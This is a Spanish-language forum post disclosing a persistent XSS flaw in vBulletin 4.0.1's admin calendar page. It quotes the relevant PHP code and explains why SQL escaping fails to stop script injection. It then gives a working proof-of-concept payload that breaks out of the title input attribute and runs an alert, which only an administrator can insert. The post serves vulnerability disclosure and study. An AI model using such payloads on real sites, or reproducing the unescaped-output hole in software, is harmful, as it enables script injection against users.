XSS vBulletin 4.0.1

By: Shell Root

By: Shell Root
Dentro del archivo admincalendar.php de la linea 170 a la 192, se realiza una inserción a la base de datos.
Código
$db->query_write("
INSERT INTO " . TABLE_PREFIX . "calendarcustomfield
(
calendarid,
title,
options,
allowentry,
required,
length,
description
)
VALUES
(" .
$vbulletin->GPC['calendarid'] .", '" .
$db->escape_string($vbulletin->GPC['title']) . "', '" .
$db->escape_string($vbulletin->GPC['options']) . "', " .
$vbulletin->GPC['allowentry'] . ", " .
$vbulletin->GPC['required'] . ", " .
$vbulletin->GPC['length'] . ", '" .
$db->escape_string($vbulletin->GPC['description']) . "'
)
");
}
Al mirar detenidamente, se vé la función escape_string y me pregunte y de hecho postee aquí, de que se trataba esa función, ya que no es una función propia del PHP. Me dí a la busqueda de dicha función y se encontraba dentro del archivo includes/class_core.php, desde la linea 717 hasta 727.
Código
function escape_string($string)Esta función lo que hace es evitar caracteres especiales dentro de una sentencia SQL (Como bien me lo dijo Nakp).
{
if ($this->functions['escape_string'] == $this->functions['real_escape_string'])
{
return $this->functions['escape_string']($string, $this->connection_master);
}
else
{
return $this->functions['escape_string']($string);
}
}
Ahora que pasa si no ingresamos caracteres especiales para afectar una sentencia SQL sino algo como esto <script>alert(/XSS/)</script>, os dejara pasar y se convertirá en un XSS Persistente!. Miremos...
Dentro del archivo admincalendar.php, tenemos la oportunidad de modificar un calendario y si miramos el codigo fuente, obtenemos esto: (Solo la parte que os interesa)
Código
<input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value="" size="35" dir="ltr" tabindex="1" type="text">
Podemos realizar esto para bypassear el input:
Código
"><script>alert(/XSS/)</script>A lo que al llamarlo quedará así, provocando un XSS Persistente:
Código
<input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value=""><script>alert(/XSS/)</script>" size="35" dir="ltr" tabindex="1" type="text">
NOTA: La Inserción del XSS dentro del archivo, es solo por un usuario Administrador










Autor




En línea







